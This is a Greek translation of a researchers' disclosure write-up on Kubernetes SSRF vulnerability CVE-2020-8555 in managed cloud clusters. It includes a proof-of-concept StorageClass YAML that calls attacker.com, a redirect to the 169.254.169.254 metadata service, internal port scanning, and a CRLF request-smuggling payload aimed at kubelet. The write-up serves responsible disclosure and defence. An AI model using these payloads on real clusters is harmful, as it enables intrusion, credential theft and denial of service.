🥇Όταν δεν πρόκειται μόνο για την ευπάθεια στο Kubernetes...

Σημείωση. μετάφρ.: οι συντάκτες αυτού του άρθρου μιλούν λεπτομερώς για το πώς κατάφεραν να ανακαλύψουν την ευπάθεια CVE-2020-8555 στο Kubernetes. Αν και αρχικά δεν φαινόταν πολύ επικίνδυνο, σε συνδυασμό με άλλους παράγοντες η κρισιμότητα του αποδείχθηκε μέγιστη για ορισμένους παρόχους cloud. Αρκετοί οργανισμοί επιβράβευσαν γενναιόδωρα τους ειδικούς για το έργο τους.

Ποιοι είμαστε

Είμαστε δύο Γάλλοι ερευνητές ασφαλείας που ανακάλυψαν από κοινού μια ευπάθεια στο Kubernetes. Τα ονόματά μας είναι Brice Augras και Christophe Hauquiert, αλλά σε πολλές πλατφόρμες Bug Bounty είμαστε γνωστοί ως Reeverzax και Hach αντίστοιχα:

Brice Augras - Εταιρεία Groupe Asten;
Christophe Hauquiert - Αρχιτέκτονας Kubernetes στη Nokia.

Τι συνέβη?

Αυτό το άρθρο είναι ο τρόπος μας να μοιραστούμε πώς ένα συνηθισμένο ερευνητικό έργο μετατράπηκε απροσδόκητα στην πιο συναρπαστική περιπέτεια στη ζωή των κυνηγών σφαλμάτων (τουλάχιστον προς το παρόν).

Όπως ίσως γνωρίζετε, οι κυνηγοί σφαλμάτων έχουν μερικά αξιοσημείωτα χαρακτηριστικά:

Ζουν με πίτσα και μπύρα.
δουλεύουν όταν όλοι οι άλλοι κοιμούνται.

Δεν είμαστε εξαίρεση σε αυτούς τους κανόνες: συνήθως συναντιόμαστε τα Σαββατοκύριακα και περνάμε άγρυπνες νύχτες κάνοντας hacking. Όμως μια από αυτές τις βραδιές τελείωσε με έναν πολύ ασυνήθιστο τρόπο.

Αρχικά επρόκειτο να συναντηθούμε για να συζητήσουμε τη συμμετοχή CTF την επόμενη μέρα. Κατά τη διάρκεια μιας συνομιλίας σχετικά με την ασφάλεια Kubernetes σε περιβάλλον διαχειριζόμενης υπηρεσίας, θυμηθήκαμε την παλιά ιδέα του SSRF (Παραχάραξη αιτήματος από την πλευρά του διακομιστή) και αποφάσισε να δοκιμάσει να το χρησιμοποιήσει ως σενάριο επίθεσης.

Στις 11 το βράδυ καθίσαμε να κάνουμε την έρευνά μας και πήγαμε για ύπνο νωρίς το πρωί, πολύ ικανοποιημένοι από τα αποτελέσματα. Λόγω αυτής της έρευνας συναντήσαμε το πρόγραμμα MSRC Bug Bounty και καταλήξαμε σε μια εκμετάλλευση κλιμάκωσης προνομίων.

Πέρασαν αρκετές εβδομάδες/μήνες και το απροσδόκητο αποτέλεσμα μας οδήγησε σε μία από τις υψηλότερες ανταμοιβές στην ιστορία του Azure Cloud Bug Bounty - εκτός από αυτή που λάβαμε από την Kubernetes!

Με βάση το ερευνητικό μας έργο, η Επιτροπή Ασφάλειας Προϊόντων Kubernetes δημοσίευσε CVE-2020-8555.

Τώρα θα ήθελα να διαδώσω όσο το δυνατόν περισσότερες πληροφορίες σχετικά με την ευπάθεια που βρέθηκε. Ελπίζουμε να εκτιμήσετε το εύρημα και να μοιραστείτε τις τεχνικές λεπτομέρειες με άλλα μέλη της κοινότητας του infosec!

Να λοιπόν η ιστορία μας...

Πλαίσιο

Για να κατανοήσουμε καλύτερα αυτό που συνέβη, ας δούμε πρώτα πώς λειτουργεί το Kubernetes σε ένα περιβάλλον διαχείρισης cloud.

Όταν δημιουργείτε ένα σύμπλεγμα Kubernetes σε ένα τέτοιο περιβάλλον, το επίπεδο διαχείρισης είναι συνήθως ευθύνη του παρόχου cloud:

Το επίπεδο ελέγχου βρίσκεται στην περίμετρο του παρόχου cloud, ενώ οι κόμβοι Kubernetes βρίσκονται στην περίμετρο του πελάτη

Για τη δυναμική κατανομή όγκων, χρησιμοποιείται ένας μηχανισμός για τη δυναμική παροχή τους από μια εξωτερική υποστήριξη αποθήκευσης και τη σύγκριση τους με το PVC (επίμονη αξίωση όγκου, δηλ. αίτημα για τόμο).

Έτσι, μετά τη δημιουργία του PVC και τη δέσμευση του StorageClass στο σύμπλεγμα K8s, περαιτέρω ενέργειες για την παροχή του τόμου αναλαμβάνονται από τον διαχειριστή ελεγκτή kube/cloud (το ακριβές όνομά του εξαρτάται από την κυκλοφορία). (Σημείωση. μετάφρ.: Έχουμε ήδη γράψει περισσότερα για το CCM χρησιμοποιώντας το παράδειγμα της υλοποίησής του για έναν από τους παρόχους cloud εδώ.)

Υπάρχουν διάφοροι τύποι παρόχων που υποστηρίζονται από την Kubernetes: οι περισσότεροι από αυτούς περιλαμβάνονται πυρήνας ενορχηστρωτή, ενώ άλλα διαχειρίζονται από πρόσθετους προμηθευτές που τοποθετούνται σε ομάδες στο σύμπλεγμα.

Στην έρευνά μας, εστιάσαμε στον εσωτερικό μηχανισμό παροχής όγκου, ο οποίος απεικονίζεται παρακάτω:

Δυναμική παροχή τόμων με χρήση του ενσωματωμένου προμηθευτή Kubernetes

Εν ολίγοις, όταν το Kubernetes αναπτύσσεται σε ένα διαχειριζόμενο περιβάλλον, ο διαχειριστής ελεγκτών είναι ευθύνη του παρόχου cloud, αλλά το αίτημα δημιουργίας τόμου (αριθμός 3 στο παραπάνω διάγραμμα) φεύγει από το εσωτερικό δίκτυο του παρόχου cloud. Και εδώ είναι που τα πράγματα γίνονται πραγματικά ενδιαφέροντα!

Σενάριο hacking

Σε αυτήν την ενότητα, θα εξηγήσουμε πώς εκμεταλλευτήκαμε τη ροή εργασίας που αναφέρθηκε παραπάνω και αποκτήσαμε πρόσβαση στους εσωτερικούς πόρους του παρόχου υπηρεσιών cloud. Θα σας δείξει επίσης πώς μπορείτε να εκτελέσετε ορισμένες ενέργειες, όπως η απόκτηση εσωτερικών διαπιστευτηρίων ή η κλιμάκωση των προνομίων.

Ένας απλός χειρισμός (σε αυτήν την περίπτωση, το Service Side Request Forgery) βοήθησε να προχωρήσουμε πέρα από το περιβάλλον πελάτη σε συμπλέγματα διαφόρων παρόχων υπηρεσιών υπό διαχειριζόμενα K8.

Στην έρευνά μας επικεντρωθήκαμε στον πάροχο GlusterFS. Παρά το γεγονός ότι η περαιτέρω ακολουθία ενεργειών περιγράφεται σε αυτό το πλαίσιο, τα Quobyte, StorageOS και ScaleIO είναι ευαίσθητα στην ίδια ευπάθεια.

Κατάχρηση μηχανισμού δυναμικής παροχής όγκου

Κατά την ανάλυση της τάξης αποθήκευσης GlusterFS στον πηγαίο κώδικα πελάτη Golang εμείς Παρατήρησαότι στο πρώτο αίτημα HTTP (3) που στάλθηκε κατά τη δημιουργία τόμου, στο τέλος της προσαρμοσμένης διεύθυνσης URL στην παράμετρο resturl προστίθεται /volumes.

Αποφασίσαμε να απαλλαγούμε από αυτό το επιπλέον μονοπάτι προσθέτοντας # στην παράμετρο resturl. Εδώ είναι η πρώτη διαμόρφωση YAML που χρησιμοποιήσαμε για να δοκιμάσουμε μια ημι-τυφλή ευπάθεια SSRF (μπορείτε να διαβάσετε περισσότερα σχετικά με την ημιτυφλή ή ημιτυφλή SSRF, για παράδειγμα, εδώ - περίπου μετάφρ.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Στη συνέχεια χρησιμοποιήσαμε το δυαδικό για να διαχειριστούμε εξ αποστάσεως το σύμπλεγμα Kubernetes kubectl. Συνήθως, οι πάροχοι cloud (Azure, Google, AWS, κ.λπ.) σάς επιτρέπουν να αποκτήσετε διαπιστευτήρια για χρήση σε αυτό το βοηθητικό πρόγραμμα.

Χάρη σε αυτό, μπόρεσα να χρησιμοποιήσω το "ειδικό" αρχείο μου. Το Kube-controller-manager εκτέλεσε το αίτημα HTTP που προέκυψε:

kubectl create -f sc-poc.yaml

Η απάντηση από την πλευρά του επιθετικού

Λίγο μετά από αυτό, μπορέσαμε επίσης να λάβουμε μια απάντηση HTTP από τον διακομιστή προορισμού - μέσω των εντολών describe pvc ή get events στο kubectl. Και πράγματι: αυτό το προεπιλεγμένο πρόγραμμα οδήγησης Kubernetes είναι πολύ περιεκτικό στις προειδοποιήσεις/μηνύματα σφάλματος...

Ακολουθεί ένα παράδειγμα με σύνδεσμο προς https://www.google.frοριστεί ως παράμετρος resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Σε αυτήν την προσέγγιση, περιοριζόμασταν σε ερωτήματα όπως HTTP POST και δεν θα μπορούσα να λάβω τα περιεχόμενα του σώματος απάντησης εάν ήταν ο κωδικός επιστροφής 201. Ως εκ τούτου, αποφασίσαμε να πραγματοποιήσουμε πρόσθετη έρευνα και επεκτείναμε αυτό το σενάριο hacking με νέες προσεγγίσεις.

Η εξέλιξη της έρευνάς μας

Σύνθετο σενάριο #1: Χρήση ανακατεύθυνσης 302 από εξωτερικό διακομιστή για αλλαγή της μεθόδου HTTP για να παρέχει έναν πιο ευέλικτο τρόπο συλλογής εσωτερικών δεδομένων.
Προηγμένο σενάριο #2: Αυτοματοποιήστε τη σάρωση LAN και την ανακάλυψη εσωτερικών πόρων.
Σύνθετο σενάριο #3: χρήση HTTP CRLF + smuggling ("αίτημα λαθρεμπορίας") για τη δημιουργία προσαρμοσμένων αιτημάτων HTTP και την ανάκτηση δεδομένων που έχουν εξαχθεί από αρχεία καταγραφής του ελεγκτή kube.

Τεχνικές προδιαγραφές

Η έρευνα χρησιμοποίησε την υπηρεσία Azure Kubernetes (AKS) με έκδοση Kubernetes 1.12 στην περιοχή της Βόρειας Ευρώπης.
Τα σενάρια που περιγράφονται παραπάνω εκτελέστηκαν στις τελευταίες εκδόσεις του Kubernetes, με εξαίρεση το τρίτο σενάριο, επειδή χρειαζόταν Kubernetes κατασκευασμένο με Golang έκδοση ≤ 1.12.
Εξωτερικός διακομιστής του εισβολέα - https://attacker.com.

Σύνθετο σενάριο #1: Ανακατεύθυνση αιτήματος HTTP POST στο GET και λήψη ευαίσθητων δεδομένων

Η αρχική μέθοδος βελτιώθηκε από τη διαμόρφωση του διακομιστή του εισβολέα για επιστροφή 302 HTTP Retcodeγια να μετατρέψετε ένα αίτημα POST σε αίτημα GET (βήμα 4 στο διάγραμμα):

Πρώτο αίτημα (3) από τον πελάτη GlusterFS (Controller Manager), έχει τύπο POST. Ακολουθώντας αυτά τα βήματα μπορέσαμε να το μετατρέψουμε σε GET:

Ως παράμετρος resturl στο StorageClass υποδεικνύεται http://attacker.com/redirect.php.
Τελικό σημείο https://attacker.com/redirect.php αποκρίνεται με έναν κωδικό κατάστασης HTTP 302 με την ακόλουθη Κεφαλίδα τοποθεσίας: http://169.254.169.254. Αυτός μπορεί να είναι οποιοσδήποτε άλλος εσωτερικός πόρος - σε αυτήν την περίπτωση, ο σύνδεσμος ανακατεύθυνσης χρησιμοποιείται αποκλειστικά ως παράδειγμα.
Από προεπιλογή net/http βιβλιοθήκη Το Golang ανακατευθύνει το αίτημα και μετατρέπει το POST σε GET με κωδικό κατάστασης 302, με αποτέλεσμα ένα αίτημα HTTP GET στον πόρο προορισμού.

Για να διαβάσετε το σώμα απόκρισης HTTP πρέπει να κάνετε describe Αντικείμενο PVC:

kubectl describe pvc xxx

Ακολουθεί ένα παράδειγμα απάντησης HTTP σε μορφή JSON που μπορέσαμε να λάβουμε:

Οι δυνατότητες της ευπάθειας που βρέθηκε εκείνη την εποχή ήταν περιορισμένες λόγω των ακόλουθων σημείων:

Αδυναμία εισαγωγής κεφαλίδων HTTP στο εξερχόμενο αίτημα.
Αδυναμία εκτέλεσης μιας αίτησης POST με παραμέτρους στο σώμα (αυτό είναι βολικό για να ζητήσετε την τιμή κλειδιού από μια παρουσία etcd που εκτελείται σε 2379 θύρα εάν χρησιμοποιείται μη κρυπτογραφημένο HTTP).
Αδυναμία ανάκτησης περιεχομένου σώματος απάντησης όταν ο κωδικός κατάστασης ήταν 200 και η απάντηση δεν είχε JSON Content-Type.

Σύνθετο σενάριο #2: Σάρωση του τοπικού δικτύου

Αυτή η ημιτυφλή μέθοδος SSRF χρησιμοποιήθηκε στη συνέχεια για τη σάρωση του εσωτερικού δικτύου του παρόχου cloud και τη δημοσκόπηση διαφόρων υπηρεσιών ακρόασης (παράδειγμα μεταδεδομένων, Kubelet, κ.λπ., κ.λπ.) με βάση τις απαντήσεις ελεγκτής kube.

Αρχικά, καθορίστηκαν οι τυπικές θύρες ακρόασης των στοιχείων Kubernetes (8443, 10250, 10251 κ.λπ.) και στη συνέχεια έπρεπε να αυτοματοποιήσουμε τη διαδικασία σάρωσης.

Βλέποντας ότι αυτή η μέθοδος σάρωσης πόρων είναι πολύ συγκεκριμένη και δεν είναι συμβατή με τους κλασικούς σαρωτές και τα εργαλεία SSRF, αποφασίσαμε να δημιουργήσουμε τους δικούς μας εργαζόμενους σε ένα σενάριο bash που αυτοματοποιεί ολόκληρη τη διαδικασία.

Για παράδειγμα, για γρήγορη σάρωση της περιοχής 172.16.0.0/12 του εσωτερικού δικτύου, εκτοξεύτηκαν 15 εργαζόμενοι παράλληλα. Το παραπάνω εύρος IP έχει επιλεγεί μόνο ως παράδειγμα και ενδέχεται να αλλάξει στο εύρος IP του συγκεκριμένου παρόχου υπηρεσιών σας.

Για να σαρώσετε μία διεύθυνση IP και μία θύρα, πρέπει να κάνετε τα εξής:

διαγράψτε την τελευταία επιλεγμένη StorageClass.
καταργήστε την προηγούμενη επαληθευμένη αξίωση για μόνιμο όγκο.
αλλάξτε τις τιμές IP και Port σε sc.yaml;
δημιουργία StorageClass με νέα IP και θύρα.
δημιουργήστε ένα νέο PVC.
εξαγωγή αποτελεσμάτων σάρωσης χρησιμοποιώντας περιγραφή για PVC.

Προηγμένο σενάριο #3: Έγχυση CRLF + λαθρεμπόριο HTTP σε "παλιές" εκδόσεις του συμπλέγματος Kubernetes

Εάν επιπλέον αυτού, ο πάροχος προσέφερε στους πελάτες παλιές εκδόσεις του συμπλέγματος K8s и τους έδωσε πρόσβαση στα αρχεία καταγραφής του kube-controller-manager, το αποτέλεσμα έγινε ακόμη πιο σημαντικό.

Είναι πράγματι πολύ πιο βολικό για έναν εισβολέα να αλλάζει αιτήματα HTTP που έχουν σχεδιαστεί για να λαμβάνει πλήρη απόκριση HTTP κατά την κρίση του.

Για να υλοποιηθεί το τελευταίο σενάριο, έπρεπε να πληρούνται οι ακόλουθες προϋποθέσεις:

Ο χρήστης πρέπει να έχει πρόσβαση σε αρχεία καταγραφής kube-controller-manager (όπως, για παράδειγμα, στο Azure LogInsights).
Το σύμπλεγμα Kubernetes πρέπει να χρησιμοποιεί μια έκδοση του Golang χαμηλότερη από 1.12.

Αναπτύξαμε ένα τοπικό περιβάλλον που προσομοίωσε την επικοινωνία μεταξύ του πελάτη GlusterFS Go και ενός ψεύτικο διακομιστή στόχου (θα αποφύγουμε να δημοσιεύσουμε το PoC προς το παρόν).

Βρέθηκε τρωτό, επηρεάζοντας εκδόσεις Golang χαμηλότερες από 1.12 και επιτρέποντας στους χάκερ να πραγματοποιούν επιθέσεις λαθρεμπορίου HTTP/CRLF.

Συνδυάζοντας το ημιτυφλό SSRF που περιγράφηκε παραπάνω μαζί Με αυτό, μπορέσαμε να στείλουμε αιτήματα της αρεσκείας μας, συμπεριλαμβανομένης της αντικατάστασης κεφαλίδων, μεθόδου HTTP, παραμέτρων και δεδομένων, τα οποία στη συνέχεια επεξεργάστηκε το kube-controller-manager.

Ακολουθεί ένα παράδειγμα λειτουργικού "δόλωμα" σε μια παράμετρο resturl StorageClass, το οποίο υλοποιεί ένα παρόμοιο σενάριο επίθεσης:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Το αποτέλεσμα είναι ένα σφάλμα αυτόκλητη απάντηση, ένα μήνυμα για το οποίο καταγράφεται στα αρχεία καταγραφής του ελεγκτή. Χάρη στην προεπιλογή που είναι ενεργοποιημένη από προεπιλογή, τα περιεχόμενα του μηνύματος απάντησης HTTP αποθηκεύονται επίσης εκεί.

Αυτό ήταν το πιο αποτελεσματικό μας «δόλωμα» στο πλαίσιο της απόδειξης της ιδέας.

Χρησιμοποιώντας αυτήν την προσέγγιση, μπορέσαμε να πραγματοποιήσουμε ορισμένες από τις ακόλουθες επιθέσεις σε συμπλέγματα διαφόρων διαχειριζόμενων παρόχων k8s: κλιμάκωση προνομίων με διαπιστευτήρια σε στιγμιότυπα μεταδεδομένων, Κύρια DoS μέσω (μη κρυπτογραφημένων) αιτημάτων HTTP σε στιγμιότυπα κύριων κύριων κ.λπ.

Επακόλουθο

Στην επίσημη δήλωση της Kubernetes σχετικά με την ευπάθεια SSRF που ανακαλύψαμε, βαθμολογήθηκε CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Αν λάβουμε υπόψη μόνο την ευπάθεια που σχετίζεται με την περίμετρο Kubernetes, το διάνυσμα ακεραιότητας (διάνυσμα ακεραιότητας) χαρακτηρίζεται ως Κανένας.

Ωστόσο, η αξιολόγηση των πιθανών συνεπειών στο πλαίσιο ενός περιβάλλοντος διαχείρισης υπηρεσιών (και αυτό ήταν το πιο ενδιαφέρον μέρος της έρευνάς μας!) μας ώθησε να επαναταξινομήσουμε την ευπάθεια σε μια βαθμολογία Κρίσιμο CVSS10/10 για πολλούς διανομείς.

Ακολουθούν πρόσθετες πληροφορίες που θα σας βοηθήσουν να κατανοήσετε τις σκέψεις μας κατά την αξιολόγηση των πιθανών επιπτώσεων σε περιβάλλοντα cloud:

Ακεραιότητα

Εκτελέστε εντολές εξ αποστάσεως χρησιμοποιώντας αποκτηθείσα εσωτερικά διαπιστευτήρια.
Αναπαραγωγή του παραπάνω σεναρίου χρησιμοποιώντας τη μέθοδο IDOR (Insecure Direct Object Reference) με άλλους πόρους που βρίσκονται στο τοπικό δίκτυο.

Εμπιστευτικότητα

Τύπος επίθεσης Πλευρική κίνηση χάρη στην κλοπή διαπιστευτηρίων cloud (για παράδειγμα, API μεταδεδομένων).
Συλλογή πληροφοριών με σάρωση του τοπικού δικτύου (καθορισμός έκδοσης SSH, έκδοση διακομιστή HTTP, ...).
Συλλέξτε πληροφορίες παρουσίας και υποδομής ψηφίζοντας εσωτερικά API, όπως το API μεταδεδομένων (http://169.254.169.254,…).
Υποκλοπή δεδομένων πελατών με χρήση διαπιστευτηρίων cloud.

Διαθεσιμότητα

Όλα τα σενάρια εκμετάλλευσης που σχετίζονται με διανύσματα επίθεσης ακεραιότητα, μπορεί να χρησιμοποιηθεί για καταστροφικές ενέργειες και να οδηγήσει σε μη διαθέσιμες κύριες παρουσίες από την περίμετρο του πελάτη (ή οποιαδήποτε άλλη).

Δεδομένου ότι βρισκόμασταν σε ένα διαχειριζόμενο περιβάλλον K8 και αξιολογούσαμε τον αντίκτυπο στην ακεραιότητα, μπορούμε να φανταστούμε πολλά σενάρια που θα μπορούσαν να επηρεάσουν τη διαθεσιμότητα. Πρόσθετα παραδείγματα περιλαμβάνουν την καταστροφή της βάσης δεδομένων etcd ή την πραγματοποίηση κρίσιμης κλήσης στο Kubernetes API.

Χρονοδιάγραμμα

6 Δεκεμβρίου 2019: Αναφέρθηκε ευπάθεια στο MSRC Bug Bounty.
3 Ιανουαρίου 2020: Ένα τρίτο μέρος ενημέρωσε τους προγραμματιστές της Kubernetes ότι εργαζόμασταν σε ένα ζήτημα ασφαλείας. Και τους ζήτησε να θεωρήσουν το SSRF ως μια εσωτερική (in-core) ευπάθεια. Στη συνέχεια παρείχαμε μια γενική αναφορά με τεχνικές λεπτομέρειες σχετικά με την πηγή του προβλήματος.
15 Ιανουαρίου 2020: Παρέχαμε τεχνικές και γενικές αναφορές στους προγραμματιστές της Kubernetes κατόπιν αιτήματός τους (μέσω της πλατφόρμας HackerOne).
15 Ιανουαρίου 2020: Οι προγραμματιστές της Kubernetes μας ενημέρωσαν ότι η ημιτυφλή ένεση SSRF + CRLF για προηγούμενες εκδόσεις θεωρείται ευπάθεια στον πυρήνα. Σταματήσαμε αμέσως να αναλύουμε τις περιμέτρους άλλων παρόχων υπηρεσιών: η ομάδα του K8 αντιμετώπιζε τώρα τη βασική αιτία.
15 Ιανουαρίου 2020: Η ανταμοιβή MSRC ελήφθη μέσω του HackerOne.
16 Ιανουαρίου 2020: Η Kubernetes PSC (Επιτροπή Ασφάλειας Προϊόντων) αναγνώρισε την ευπάθεια και ζήτησε να την κρατήσει μυστική μέχρι τα μέσα Μαρτίου λόγω του μεγάλου αριθμού πιθανών θυμάτων.
11 Φεβρουαρίου 2020: Λήψη ανταμοιβής Google VRP.
4 Μαρτίου 2020: Η ανταμοιβή Kubernetes ελήφθη μέσω του HackerOne.
15 Μαρτίου 2020: Η αρχικά προγραμματισμένη δημόσια αποκάλυψη αναβλήθηκε λόγω της κατάστασης COVID-19.
1 Ιουνίου 2020: Κοινή δήλωση Kubernetes + Microsoft σχετικά με την ευπάθεια.

TL? DR

Πίνουμε μπύρα και τρώμε πίτσα :)
Ανακαλύψαμε μια εσωτερική ευπάθεια στο Kubernetes, αν και δεν είχαμε σκοπό να το κάνουμε.
Πραγματοποιήσαμε πρόσθετη ανάλυση σε συμπλέγματα διαφορετικών παρόχων cloud και μπορέσαμε να αυξήσουμε τη ζημιά που προκαλείται από την ευπάθεια για τη λήψη πρόσθετων φοβερών μπόνους.
Θα βρείτε πολλές τεχνικές λεπτομέρειες σε αυτό το άρθρο. Θα χαρούμε να τα συζητήσουμε μαζί σας (Twitter: @ReeverZax & @__hach_).
Αποδείχθηκε ότι κάθε είδους διατυπώσεις και αναφορές χρειάστηκαν πολύ περισσότερο από το αναμενόμενο.

παραπομπές

ΥΓ από τον μεταφραστή

Διαβάστε επίσης στο blog μας:

Πηγή: www.habr.com

Όταν δεν πρόκειται μόνο για τρωτά σημεία του Kubernetes...